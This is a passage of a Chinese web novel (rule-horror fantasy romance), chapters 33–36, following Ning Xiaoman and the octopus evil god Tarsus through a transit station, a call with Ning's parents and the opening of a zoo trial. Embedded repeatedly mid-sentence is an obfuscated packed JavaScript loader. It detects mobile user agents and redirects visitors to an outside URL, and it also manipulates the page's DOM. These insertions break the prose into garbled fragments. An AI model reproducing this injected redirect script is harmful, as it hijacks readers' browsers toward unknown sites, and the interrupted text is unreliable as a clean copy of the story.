宁小满尴尬的低头,恨不得找个地缝钻进去,哪有这样说话的,确定这样说不会挨打吗? “说嘛说嘛,这就咱们两个,不会有其他人或者物知道的,满满~好满满,你就当可怜可怜我,行不行嘛,行不行?” “……就一次。” 塔尔斯眼睛亮晶晶地点头,“一次就一次。” 下一次也是一次,说是没有下次,磨磨不就有了? “我拍照技术不错用你说?事实存在而已,蠢货,哼!” “哇~好棒哦……”塔尔斯四手托下巴,满脸痴迷。 虽然说这话时满满脸色通红、眼神闪躲、气势明显不足,但调调总归是那么个调调,而且这样的满满,更多了一分其他意味。 见塔尔斯因为一句话骤然变态,宁小满咽了咽口水,小心翼翼退出他的怀抱,缩到角落瑟瑟发抖。 之前也不觉得塔尔斯变态……好吧,还是有点变态的,趁着他睡觉摸他、时时刻刻腻在他身边、自己吃自己这事等诸类事件上都能体现出来。 可说到底也还能接受,现在这因为一句话就如痴如醉跟吸了一样的模样,属实是让他有点接受不能了。 塔尔斯短暂沉迷一会就回过了神,回神的瞬间就是捞摸爱人,按照记忆中的位置摸去,没摸到? 感知一开,哦,是窝到角落去了啊。 塔尔斯改游为走,走到角落将爱人捞到怀中抱住,亲亲脸,疑惑问道:“怎么躲角落去了?” 宁小满本想敷衍过去,临了却想起塔尔斯之前说过的不喜欢什么要告诉他,敷衍的话到嘴边又被咽了回去。 “你刚才那样,吓人,我不喜欢。” “支配他人也不喜欢吗?” “也?” “啊——”塔尔斯恍然自己没跟爱人说过自己的发现,遂缓缓道来:“跟满满相处了一段时间,我发现满满不喜欢跟强势性格的人?诡异? 勉强用人代称吧,也就是不喜欢处于被支配地位,还以为你会喜欢支配者这个角色呢,没想到你也不喜欢,不喜欢就不喜欢吧,以后再探索其他的,总能找到一种你喜欢的相处状态。” “其实,之前那样的相处状态我就挺喜欢的。” 想到什么,宁小满慌忙补充:“第一个怪谈那种!” 第二个怪谈他两眼一睁就是杀怪,晚上躺在床上累的两眼一闭就是睡觉,思考人生的力气都没有,和塔尔斯之间的交流少的很,那种相处状态他是丁点都喜欢不起来。 “第一个怪谈?” 塔尔斯沉默许久,方才问出自己的疑惑:“包括晚上你睡着后我的举动吗?” 包括吗?宁小满一脸茫然的看着塔尔斯,不知道这个问题他是怎么问出口的。 “不包括吗?” 宁小满不知道怎么回答,索性把问题丢回去,“你想包括还是不包括?” “我的话,肯定是包括,满满的话,我摸不准。” “不用摸准我的,依你的就行。” 说完,宁小满转身自己埋进猫窝软绵绵的墙壁上,彻底自闭了。 “满满,你耳朵身体红了。” “不用你说!” “跟煮熟的虾一样。” “不许提虾!” “那不说了,要睡觉吗?” 天杀的,为什么塔尔斯只是说个睡觉,他脑海中就自动幻想出了睡着后深紫色的触手缠绕他的画面? 画面出现不过几许,却足以宁小满整团红的更加厉害,被画面气到冒烟的宁小满心梗的将自己埋的更深。 最后的最后,还是塔尔斯将他强硬从墙壁上扯下来抱着睡觉的,要不然宁小满能面壁一晚上思考自己怎么就变得这么…… 中转站没有明确的时间更替,一觉睡醒,宁小满和塔尔斯皆是不知道外边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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眨眼功夫,高楼大厦消失不见,取而代之的是处于阴雨天的亡海。 看着不远处那跟他之前乘坐那艘一模一样的游轮,宁小满抓着塔尔斯的两根好奇问道:“每个天选者怪谈中的游轮都是一样的吗?” “一样的。” “那里面的鬼和NPC呢,也长的一样?” “一样。” 宁小满想了一下现实中存在的国家数,惊叹道:“67个一模一样的鬼,好神奇,他们是六十七胞胎吗?” 明明处于异空间外界的雨没有滴到身上丝毫,塔尔斯却莫明觉得自己被雨淋了个透,这问题,是正常人能问出来的吗?还是说人类世界有能一下子生六十七个的,他落伍了? “塔尔,他们是吗?” “不是。” 宁小满化为好奇宝宝继续问道:“那他们为什么长的一样?” “他们用了变形的鬼术,”塔尔斯抬手揉揉眉心,疲惫但难掩好奇的问道:“人类,能一下子生六十七个吗?” “不能吧,至少现实中的人不能。” “还有不是现实中的人?” “有啊,小说中的人,我听书时就听过一本一胎百宝……哦对了,宝就是孩子的意思。” “……人类的想象力还是太超前了。” “人类说完了,诡异呢?有吗?” 应该有吧,那么多种诡异,总该有一种是猎奇向…… 33.中转站3 “没有,事实上,诡异很少生孩子,对于他们来说,那不是孩子,而是仇敌,因为他们的诞生要分走母体至少一半的诡力,这对于利己的诡异来说是一项很不划算的买卖。” “一半诡力……那是挺不划算的,不过,不止诡异是利己的,人也是。” 拿现实世界的遗产继承制类比,一个是父母死后由子女获得剩余财产,一个则是一出生就硬性剥夺母体一半财产,换成是他,他也不愿意要孩子。 “利己没错,如果有一天遇到二选一的困境,我希望满满站在自己的立场毫不犹豫的保全自己。” “不用你说我也会毫不犹豫保全自己!” “你不会,你心太软。” “我……” “啊!救命!滚、滚开——别追着我!救命!” 猝不及防的求救声打断了宁小满犹要狡辩的话,眼睛不受控制的朝呼救处看去,可惜,距离太远,就算是邪神的眼睛也看不太清楚求救那人的模样。 “要救吗?” “什么?”宁小满问完才反应过来,失笑地摇了摇头,“不要,我和他素不相识,谁知道救下来的会是个什么人?” “相比于救他,我更好奇的是,他为什么会说中文,他看上去……不像兔国人。”而中文好像也没有普及到所有国家拿他当通用语。 “一种机制,算是祂的一点好心,防止天选者因语言不通而妨碍团体怪谈的进行,这边没什么好看的,去下一个天选者的怪谈逛逛?” “嗯!” 眼前一黑,再次睁开眼睛就发现游轮不见了,海还是那个海,雨还在下,只有游轮没……不对,除了游轮这个变数外,这片海上多了一座荒岛。 宁小满趴下身子拍拍塔尔斯的头,“塔尔,凑近些看。” “一个落魄男人类,没什么好看的。” 说是这样说,塔尔斯还是依照着爱人的意思凑近了些许。 宁小满眯眼看向荒岛上有着黑发络腮胡的男人,两秒后有些嫌弃的移开目光,“他长的好潦草啊。” “确实,没什么就去……这个男人类的能力有点不对。” 塔尔斯目光极冷的看向荒岛上躺着晒太阳的马文,这人刚才发动了能力,能力间有股让他格外熟悉的气息,那似乎是——他的诡币。 意念一动,马文刚用能力取出的诡币就被塔尔斯取了一枚过来。 塔尔斯捏着前刻触手后刻骷髅的诡币,嗅见其上属于他财宝的标记气息,脸色难看极了,“这是我的!” 这是他的老婆本!该死的人类,到底是怎么敢偷他的财宝的! “塔尔,这上面刻着的触手,是你的吗?” 勃然待发的怒火被塔尔斯压制下,微抖着身子深吸了口气,触手卷着诡币朝上递去,尽量夹着声音道:“是我,满满要看吗?” 宁小满捧着被塞过来的诡币无奈想道:我还没说话你把东西塞了过来,又何必多问那一嘴呢? “要看。” “看看喜欢不喜欢,喜欢我把有的诡币都给你。” 宁小满想了想道:“喜欢,但不用给我,先放在你那,我没地方放。” 是的,他没有地方放,就那张记录了塔尔斯丑相的照片都被他放在了塔尔斯空间内。 “这是个问题,不过等咱们两个结契后自然而然就解决了。” “为什么?” “按照人类的说法就是,婚前财产变成夫妻共有财产。” 所以,他现在要料理一下敢动他和满满夫妻共有财产的人和诡异。 塔尔斯眼神狠厉的盯着马文,虚空中的触手蠢蠢欲动,只待一声令下就将敢偷窃他财宝的人类彻底泯灭于世间。 {不可,他暂时不能死。} 【为什么?我杀了他,你也能获得力量不是?】 {不能就是不能。} 塔尔斯冷笑,祂不会闲着没事干插手不相干的事,现下插手了就说明这事跟祂有关。 是了,一个人类本事再大也不能从他的空间内偷窃他的财宝,有了祂的帮助可就另当别论了。 “塔尔,你、熟了?” 听到爱人的声音,塔尔斯从思绪中抽离,低头朝飘在一边的触手看去。 原是因为过于生气,不小心给自己气褪色了,漂染的紫夹杂着本来的红,看上去就跟被水煮过一样,也难怪满满说他熟了。 触手揉揉眉心,信口胡诌道:“章鱼是感温动物,这里又太热了,有些红很正常。” “正常吗?” 顺便来个懂的人告诉他,章鱼这种生物是感温动物吗?此疑问来自不怎么看海底世界的宁小满内心深处。 “正常……吧。” 塔尔斯轻咳一声,强自转移话题:“不说这个了,去下个天选者怪谈看看?” “塔尔你转移话题的样子……真的好生硬、好明显啊。” 不听不听,只要他装作听不见就可以当做什么都没发生! 一天下来,塔尔斯带着宁小满逛完了所有的天选者怪谈,越看越塔尔斯心头火烧的就越旺。 该死的狗家伙,偷他老底偷上瘾了是吧? sss级技能预演,他的!不过在他这叫推演。 sss级技能圣战士,他的!不是什么重要技能,但是逆风翻盘的必用技能——透支,能让他实力在短时间内实力翻两倍。 sss级技能财使诡通就更不用说了,手直接伸到他口袋里掏钱了! 细细想来,满满那个技能,诡物语,也是他的,和他这个正版的虽然不能比,但善加运用,凭借技能蛊惑诡异做替死也是有可能的。 除此之外,还有五个抽到sss级技能的人类,塔尔斯一一看过,大抵都是些他的技能。 塔尔斯烦躁的轻啧一声,操!狗家伙到底想干嘛? 总不能是准备搞集齐九个天选者替换他这个邪神的活动? 想法普一冒出塔尔斯就沉默了,你别说,你还真别说,是那狗家伙能干出来的事。 “塔尔?塔尔!理理我嘛!” “嗯,嗯?怎么了?” “我还想问你怎么了?一回来就发呆,叫你你也不搭理我,要不是你还有呼吸……” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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本来已经准备开口安慰他的宁小满瞬间闭嘴,死了还有心情缠着他,想必也不是很需要安慰,好了,一边玩去吧。 塔尔斯呜呜假哭了一阵,没等来应该来到安慰,一边继续呜一边支起头朝房间内另一个生命体看去,一看,是真的想哭了。 呜……他家满满听着他的假哭声睡着了! 睡着了啊!他的声音很催眠吗?啊? 一开始,宁小满只是闭着眼睛假寐,后来睡着纯属是没忍住。 有一说一,开水壶一样的假哭声听着真的很催眠(仅限塔尔斯,他气多,从头哭到尾声调都没变过,不会忽高忽低的把好不容易酝酿起来的睡意搅散)。 塔尔斯停下假哭,触手拍拍脑袋,自我催眠是老婆拍的把自己哄好后,附身小心翼翼抱起软塌塌躺在一边的小团子上床。 撇除一切床具,触手编织成小被子裹挟着爱人,意识进入爱人梦中看爱人梦中有无他…… 34.伖有动物园1 毫无疑问,是有的,塔尔斯躲在云层中‘看’向下方,格外假的草地上,他的爱人呈人形抱着章鱼形态的他轻哄着。 梦本无声音,但意识有声,交缠间袅袅声响顺着交叠的思想传入他耳中…… 塔尔斯软倒在云层中,意识昏昏沉沉,八根触手卷成了两根大麻花。 梦境极端美好,现实却也不差。 塔尔斯抱着爱人翻了个身,懒懒的窝在床上,轻拍着爱人的身体,嘴角的弧度自始至终都未曾降下过。 一觉醒来,已是中转站的第三天,过了今天,就要前往下一个怪谈了,宁小满抱着塔尔斯的触手蔫巴巴的等着国家的通讯。 想到一会就能见到许久未见的父母,宁小满晃了晃头,恢复了一点精神气。 半天过去,空中突兀的出现一块光屏,上有接通和挂断两个选项,这是宁小满第一次见通信时的界面,不免多看了两眼才按下接通。 王宾的大脸跳出来的瞬间宁小满不着痕迹地往后挪了挪,塔尔斯也瞬间挡在他身边。 浑然不觉自己吓到人了的王宾快言快语道:“上个怪谈有许多不同之处,接下来长话短说,你不用应声,听着就好,杨凌——” 杨凌上前一步,低头看着手上的手稿念道:“初入怪谈,34位天选者落脚点在海面、33位天选者落脚点在游轮。 经观察发现,落脚点在海面的天选者如无办法自行登上游轮,溺毙于海洋后再次重生点为游轮旁,经推测应该是确保怪谈可以正常运行的一种保底机制。” “同时,还发现,天选者的态度决定了船员们对待天选者的态度,他们遇硬则软,遇软则硬。” 杨凌说完退下,王宾上前一步继续点人:“天选者们通过自身天赋技能闯关的琐事不提,重点说可以通关的三种办法,刘宇怀——” 三种?宁小满诧异的搂紧了怀里面的触手,不等他过多思考第三种是什么办法那边就给出了答案。 “通关的三种办法分为常规、越级和待定,常规的就是待够三十天等待怪谈结束自己被弹出,这个待分为两个地点,游轮、荒岛。 越级的则是打穿怪谈,杀死其中所有鬼由规则怪谈的官方判定通过。 待定,超度,即通过探索了解他们怨气所在,解决怨气无伤通关,但67位天选者中只有一位天选者依靠自己的技能完成了这个办法,并没有过多参考性。” 塔尔斯听了凑到宁小满耳边小声吐槽道:“小偷,拿着我的能力出他的风头。” 宁小满歪头看了塔尔斯一眼,心里面好奇那人拿了塔尔斯什么能力,却没有当即问出声,而是准备等通讯中断后再行询问。 “然后就是对于下一个怪谈的推测……” 说到这里王宾故意停顿了一下,反正时间够用,等到白团子目光全部落到他身上后方才接着道:“目前通关两个怪谈,国内矿产资源已完全恢复,接下来极大可能对应的是草原、耕地之类的资源,接下来的怪谈很有可能跟这些相关……” 听着王宾的叙述,塔尔斯懒洋洋的反驳道:“假的,接下来的怪谈已经确定了,就是动物园,跟草原没一丁点关系,而且以后也不会出现有关草原的怪谈。” “有关草原,这边猜测有畜牧、捡拾……” “假话说的这么信誓旦旦,等怪谈开始这人会觉得尴尬吗?” 两道声音交叉在耳边响起,宁小满憋笑憋的身体乱晃。 “要说的就这些,剩下的时间你跟你的父母聊吧。” “总算是结束了,这人废话真多,满满,你说,爸爸妈妈会喜欢我吗?” 宁小满摸摸塔尔斯凑过来的头,“我不知道。” “他们不喜欢也没事,只要满满喜欢我就好。”塔尔斯眯着眼睛在宁小满身上蹭了蹭,心满意足地说道。 “满宝!” 听到妈妈的声音,宁小满惊喜抬头,以同样惊喜的语气回道:“妈妈!” 顾宛霜笑眯眯地看着光屏中不是人的儿子,手背在身后张开晃了晃。 宁远舟无奈轻叹,将一直拿着的小玩偶放到老婆张开的手中,又抬手揽住她的肩膀,示意她不要玩过头了,要不然一会生气了他可不负责哄。 顾宛霜扭头瞪了他一眼,扭头的瞬间换了一副嘴脸,“铛铛——看!是满宝哦~” “妈妈!”宁小满看着那几乎一比一复刻他现在模样的玩偶,恼羞成怒地喊道。 “哈哈哈……不要害羞嘛满宝,你看,多好看啊。” “爸爸!” “老公?” 宁远舟抬头望天,默默把背在身后的另一只手拿了出来,是市面上常见的章鱼玩偶。 顾宛霜拿过章鱼玩偶和儿子玩偶放到一块,笑盈盈道:“看,是不是很般配?” 宁小满本不想再搭理妈妈,这是他生气的小习惯,不搭理人,但看着右上角每一秒都在减少的时间,到底是没选择冷静。 他别扭着点了点头,“是,很般配,但妈妈,塔尔他是紫色的。” “哦哦,紫色啊,那我这个红色倒是买错了,没事,这次妈妈知道了,下次就买对了。” 玩偶一出来塔尔斯就呆住了,一会看看身边的爱人一会看看顾宛霜手里面的玩偶,直到现在才回过神,拽拽宁小满的小手,可怜巴巴道:“满满,我想要那个。” “那是妈妈的。” “什么?” 顾宛霜先是一愣,随后立刻反应过来儿子这是在跟三星说话,连忙问道:“满宝,他说了什么?” “妈妈,塔尔想要你手上的玩偶。” “这个啊——” 她定制了一百个,给三星一个她倒是不心疼,但问题是:“满宝,外边没办法往里面送东西。” “听到了?外边没办法往里面送东西。” “只要他们供奉我,我就能收到他们送的东西了。” “供奉?” “嗯,供奉我的神像,吟诵我的名字,在神像前画圈,以火点燃供奉之物,火焰消逝,我收到供奉之物。” 闻言,宁小满眼睛一亮,决心如果可以就让爸爸妈妈给他烧几件衣服过来。 快速的塔尔斯说的话重复了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087542|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一遍后,宁小满有些期待的看着对面的父母,本以为会收到包票,熟料父母对视一眼满脸为难。 “满宝,不是我们不想烧,而是、而是……” 顾宛霜说不出来,手指戳戳宁远舟,示意他说,“我们听不到他的声音、看不到他的样子,就连你叫他的名字我们也听不见,只有字幕星号表示你说过话。” 塔尔斯想了想道:“并不一定是我的真名,只要是我认可的名字都可以,满满,你问问他们人类对我的称呼是什么,我这边承认一下。” “妈妈,你们平时怎么叫他?”宁小满依言询问。 顾宛霜和宁远舟再次对视:这是可以说的吗? 顾宛霜歪头示意:你说。 大冤种宁远舟生含糊道:“三星。” “什么?” “三星,一二三的三,星星的星。” 来不及震惊这个称呼,宁小满瞟见通讯时间快结束了,慌忙道:“来不及多说了,你们记住,吟诵这个名字他也可以收到你们烧的东西!” 话音落地,通讯结束,时间卡的刚刚好。 宁小满松了一口气的同时后知后觉身边的气压有点低,轻轻碰了碰塔尔斯,担心道:“塔尔你还好吧?” “不好,我一点都不好!我不明白,满满,我真的不明白,我这么一个英俊、有魄力、伟大、信徒无数、能力出众……的邪神,他们怎么为什么叫我三星?这合理吗?这一点都不合理好不好?” 宁小满扯扯唇角,以上那些优秀品质他没看到,但塔尔斯的自恋程度他算是有体会了。 懒得搭理等待他认同的塔尔斯,自顾自道:“第一次看妈妈长什么样,感觉跟我构思出来的差不多,但是又多了些什么,还有爸爸,和我构思的不太一样……” “嗯,决定了,除了爸妈,谁敢用三星这个名字供奉我我就让他倒霉,倒大大的霉!” “不准和我一样叫爸妈!” “满满,你知道的,我从小就没有爸妈……” 宁.吃软不吃硬被拿捏.小满:“好啦好啦,以后我爸妈也是你爸妈,不伤心了好吗?” “呜——想要抱抱。” 做个人……啊不,章鱼吧!看看咱俩现在这体型差,我怎么抱?把自己剖开抱吗? 宁小满不想说话,推开塔尔斯瘫倒在一旁,盯着上空一点灯光发呆放空大脑,顺便消化刚才听来的东西。 见状,塔尔斯也不闹了,闭上眼睛静静依偎在他身旁,触手环绕呈保护姿态。 中转站内最后的时间在发呆中度过,B级怪谈开启,人未至介绍先到: “怪谈名——伖有动物园 天选者身份——动物园新招收的一批实习生中的一位 实习期为期七天,在此期间天选者需遵守员工守则,现在!怪谈开始——” 宁小满再次恢复清醒时整个人置身于一片柱子中间,再一细看,不对,不是柱子,而是腿,密密麻麻全部都是腿。 视野范围内全部都是腿! 一个人有一双腿,这么多条腿得多少人啊? 35.伖有动物园2 上一次进入怪谈塔尔斯不在身边,这次进入塔尔斯还是不在身边,真弱小无助的宁小满摸进一边道草丛中躲好,等着塔尔斯找过来。 宁小满自认自己非常谨慎,殊不知,他移动的时发出的动静早已吸引了无数人的目光。 —— “操操操!这他妈怎么突然就变成团体怪谈了?” “靠,一声招呼不带打,这怪谈真狠。” “推测第五个才会是团体赛,这下子提前太多了吧?” “一堆人往那一站,就满宝往那一趴,这身高差……三星赶紧来吧,要不然满宝都是低人一等。” “没恶意,就是真诚发问,这是一等?” “这身高差……” —— 就在众人还在观望之际,马文已经眼睛亮晶晶的走了过来,众目睽睽之下,马文一屁股坐在地上,对着宁小满伸出手问好:“你好,我叫马文,来自骆驼国,我想和你交朋友,可以吗?” 害怕宁小满不同意,马文特意补充道:“我有钱,很有钱,怪谈中有,现实中也有。” 呃…… 马文这样看上去真的很真诚,但不知道为什么,宁小满脑海中浮现的却是塔尔斯蹦哒着怒斥马文不要脸偷他钱的行为。 还有就是,按照塔尔斯说的,他的那些以后都要共享给他…… 换言之,马文现在花的每一分钱都是从他的口袋里面掏钱。 真诚瞬间消失不见,还有点可恶怎么办? 手举在半空中没人搭理,多少有点尴尬,马文却像是什么都没感觉到似的,笑盈盈收回手自问自答道:“哦,我知道了,你是不方便握手对吧?交朋友握不握手都是次要,只要内心承认……” “我不承认。” “什么?”马文呆呆的问道。 宁小满拨开遮挡身形的草丛,握紧手中的Q版匕首,神情严肃且大声的重复道:“我说,我不承认你是我的朋友。” 马文闻言摸了摸自己的胡子,有些失落地走开了,他不是那胡搅蛮缠的性子。 “嗤——有些人啊,上赶着非要去找那不痛快。”赫伯特双手环胸靠在不远处的树上嘲讽道,一双金眸中满是嘲讽。 劳恩扭头看了一眼赫伯特,默默在心中将与之合作的念头打消,态度太傲,不适合做队友,只适合必要时买些消息。 “啊!不要过来!滚开——滚!” 人群最右边突然爆发出一声尖利的嘶吼,虽然很快就戛然而止,但就那一瞬间也够吸引大多数人的目光了。 进入怪谈落脚点就在宁小满旁边的凯文泰低头,见他在地上左右张望着却因为身高限制根本看不到什么,轻笑一声,想起国家那边传来的交好讯号。 手抚顺身后的风衣下摆,施施然坐下,在宁小满戒备的眼神中柔声道:“那人疯了,一见到奇形怪状的诡异就会大叫,然后触犯规则被诡异杀死,怎么,你们国家负责对接的人没跟你说过吗?” 宁小满摇头,这事瞒不了,他对这些天选者了解仅限比较厉害的那些,一开口就是露馅,倒不如大大方方承认看看能不能从面前这人开口了解些什么。 “没说过,他为什么疯了?” “哈~”凯文泰单手扶额,心想这就是进入怪谈中一次都没死过天选者的含金量吗? 但凡死过一次,就一次,都问不出这个问题。 “进入怪谈中的自己的身体,感觉自然也是自己的感觉,科学表明,一个人能够承受的痛苦是有限的,如果承受不了,那么他的精神就会放弃他转入脑海深处……” 凯文泰伸手比划了一个鱼入水的手势,“仅留一些身体潜意识维持这具身体不会死亡,他现在的情况就是这样。” “他什么时候疯的?” “第50次死亡后。” 50…… 宁小满沉默一瞬,“你死亡了多少次?” “24次,不多不少,勉强维持个中等水平。” “记录自己死亡的次数……” “哎、打住,”凯文泰伸手摸了摸后脖颈,“不是我记的,是外边那些人,每个人都会记录。” 凯文泰环顾一圈,突然指着赫伯特道:“就那个,看见没,他死亡次数最少,就3次,技能卜算未来,在这规则怪谈中,真是占了好大的便宜,至于他旁边那个,则是死亡次数最多的,123次,技能貌似是透支生命力之类的,很容易死,但很厉害就是了。” 宁小满顺着他手指的方向看去,一边想塔尔斯什么时候能够找过来,一边在心里面回想着自己知道的。 死的最少那个叫赫伯特,上次通讯国家那边给他看过照片,天赋技能是预演,同时也是塔尔斯的一项技能。 死的最多那个叫劳恩,天赋技能圣斗士,据塔尔斯说这项技能在他这是靠透支以后发挥威力,人类在规则怪谈没什么以后的保障,抵扣的时候折损生命获得力量死的快似乎也不是什么稀奇事。 不过给他讲解这人的似乎并不知道那些人的技能名字,也不知道王宾部长是怎么弄到的…… 凯文泰低头看向穿着花边小裙子一整个小可爱形态的宁小满,尽管国家警告有言在先,还是忍不住手贱想戳戳看。 手指抬起又蜷缩,在空中扭捏半天,眼瞅着就要落上去之际,凯文泰整个人突然飞了出去。 落地时砰的一声瞬间让他继上一个开场就喊的人后,化作了下一个接受众人目光洗礼的人。 宁小满眨着眼睛,一脸懵逼地看着匕首脱离他化作巨大一条触手将凯文泰抽飞出去,张张嘴想说些什么,却被触手抱起放到它身上,嗖的一下飞走了。 赫伯特看着这边的闹剧,低头翻了个白眼,默默吐槽道:“蠢货。” 非要上去自讨苦吃,敢情说了上一个搭话的没说你是吧? “你们就是新来的实习员工吧?” 一道阴冷感十足的倏然在众人耳畔响起,伴随着声音出现的是一个身着红色工作装的男人,男人脸色惨白,嘴唇却红的要死。 众人目光移到地上那团红色的血肉上,内心已经麻了,这不开场就惨叫那人么,得,规则里面肯定有一条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“虽然活在水里面不方便,但有我在满满想去哪不是问题,吃食的话,那些鱼食不用吃,我会给单独准备。” 听上去是不错,但…… “你这么干,祂不管?” “祂提前开启了团体怪谈,大大提高了他获取能量的数量,而且祂知道有我在,无法从你身上获取能量,已经放弃你了,这种情况下,只要不是太出格,只要按部就班,祂是不会管的。” 宁小满听了只想说:感谢放弃! 知道这个怪谈以及以后的怪谈都不用像打工一样杀鬼/诡后,宁小满把着塔尔斯的脑袋两侧在他脸上吧唧亲了一口,“谢谢塔尔,这都多亏了你。” “哪有,是满满很好我才会……” 塔尔斯接下来说了什么宁小满已经听不见了,他的视线内猛地落入一张震惊的大脸,那眼神对着他,就像是看什么外星人一样。 36.伖有动物园3 马文透过玻璃看到宁小满亲一团马赛克,虽然有国家的预警,整个人还是吃惊极了。 一团马赛克也能亲下去,这是真饿了啊…… 通过上次通讯宁小满差不多了解了塔尔斯在其他人眼中是什么形象,现在对上马文的视线自然是知道他在震惊什么。 有那么一瞬间,宁小满恨不得自己还像之前那样看不见,这样也就不用面对如此尴尬的画面了。 低头将自己埋进塔尔斯怀中,拿着手里面的小匕首戳戳塔尔斯,小声道:“不远处有人……” 塔尔斯听了一半道:“要杀了?” “……不是,只要想让你带我走远点。” 无冤无仇的,用不着杀同样是天选者的人。 还有就是,塔尔斯一直能量能量的,他虽然不知道是什么能量,却知道祂想要,而且这种能量只有天选者死亡才能产生。 祂对现实世界意义未明,这种情况下,让塔尔斯杀同样不过是让祂这个渔翁得利。 宁小满垂眸被塔尔斯抱着游离了刚才那片水域,不知道游了多久,反正在宁小满意识中是过了挺久的,久到他心生疑虑。 “塔尔,水族馆很大吗?” “还好啦,没亡海大更没我住的那片海大。” “那你为什么游了那么久?” 说着,宁小满勾头朝一边开去,一片漆黑,这根本就不是平常动物园会有的观赏区! 这黑度,说是深海都有人信! “游过的那些地方没有适合筑巢的地方,我正带着你寻找呢。” “筑巢?在怪谈内?” “七天时间,总要找个住的地方。” “可这里这么黑,就算是有合适筑巢的地方,也看不到吧?” “我可以看到,”想到什么,塔尔斯突然一拍脑门,“忘了,满满你看不到。” 塔尔斯意念一动,旋即宁小满就感觉眼睛一烫,克制不住的闭上眼睛,下一秒就听塔尔斯道:“现在再看看。” 不存在睫毛的眼皮颤了颤,宁小满缓了两秒睁开眼睛,错愕的发现自己又能看见了,甚至比在岸上看东西更加清晰,就连离他老远的一块石头纹理映入眼帘时,清楚的像是就在他眼前放着。 “怎么会……”眼睛、居然是可调节夜视的吗? “很正常啊,因为这是我的眼睛。” 哦、对,宁小满恍惚间差点忘了塔尔斯还有个邪神身份,邪神的眼睛好像再怎么不正常都是正常的。 “找到了!”塔尔斯眼睛一亮,倏地俯冲之下带着宁小满来到了一处自然形成的洞穴中。 洞穴内很干净,表面上看,除了布满洞底的细沙并没有其他东西,但在塔尔斯用诡力过滤时却过滤出了大量的珊瑚碎屑。 诡力过了两遍,确定沙子中没有任何其他东西后,塔尔斯将一直抱着的爱人放下,去到洞口处布置了一层屏障,又在隐匿了这里的踪迹方才转身去布置这暂时的居所。 看着忙活着挂纱布、拼小床的塔尔斯,宁小满慢走两步拿起一块铁块,“我来帮你一起拼吧。” “不用,我自己可以,满满乖,拿着这个玩去吧。” 宁小满抽了抽嘴角,低头与手中被塞过来的拼图面面相觑。 —— “面团似的脸硬生生在上面看出了无语怎么办,还有救吗?” “待在水里面固然轻松,但外边那些个怪谈不参加真的没问题吗?” “人数查到66就停了,说明那些诡异默认人数够了,至于满宝,他虽然没去实习,但还在怪谈中,现在这样,应该属于卡bug成功了。” “有理有理。” “但话说回来,怪谈运行又不是程序运行,会存在bug吗?” —— “塔尔,我不想玩拼图,我可以帮你一起拼床……的。” 塔尔斯佯做遗憾的回头,“床已经拼好了,满满想拼床吗?等下次吧。” 装,再装,不是你刚才八根触手齐飞快速装床的时候啦! 宁小满气鼓鼓的拖着涨大了两倍的身体爬到床上,越看忙着挂纱布遮挡石壁的小章鱼越不顺眼。 俗话说得好,忍无可忍,无需再忍。 小怒之下,一只不大的脚就这么水灵灵地飞到了塔尔斯脑袋上。 塔尔斯回头,瞅着躺尸般飘在水中但脚锲而不舍黏在他脑袋上的爱人,轻叹一声,触手捞过躺尸的爱人卷吧卷吧放到了头顶。 “想坐就直说,又不是不让你坐,本来就是给你留的位置。” “我没!” “好好好,没有,是我想你坐我头顶好不好?我离不开你,乖满满,坐好,别摔下去喽。” 宁小满别扭的抿了抿唇,好半天才应声道:“知道啦。” 布置好巢穴后,塔尔斯伸了个懒腰,抓过头顶的爱人抱在怀里,低头蹭了蹭他的脸,惬意的眯起眼睛询问道:“饿吗?” “饿了。” “想吃什么?” 宁小满想了想问道:“虾,要辣一点的,剩下的你看着选。” “好,想在这安安静静吃,还是去上面看着热闹吃?” “什么热闹?” “唔——大概是会见血的热闹?” “那算了,还是在这吃吧。” 一顿不知道早午餐过后,宁小满无聊的划拉着脚下的沙子,想出去玩的心蠢蠢欲动,“塔尔,你觉不觉得一直待在这里很无聊?” 实际上并不无聊并且颇为享受单独相处的塔尔斯沉默一瞬,克制着给出了肯定的回复:“是很无聊,满满有什么想去的地方吗?” “我想在动物园内逛逛。” 塔尔斯感知了一下怪谈内的情况,有些头疼的问道:“能只在水里面逛吗?” “上面发生了什么?” 隐瞒还是坦白,这个问题对塔尔斯来说从来不是二选一,是以出现选择题时他毫不犹豫地开口说:“上面正在进行一场大屠杀,很血腥。” 这么一说宁小满就明白了,但,他还是想去看看,测试自己的极限也好,为预想中的未来做准备也罢,他总不能一直依附着塔尔斯而活。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 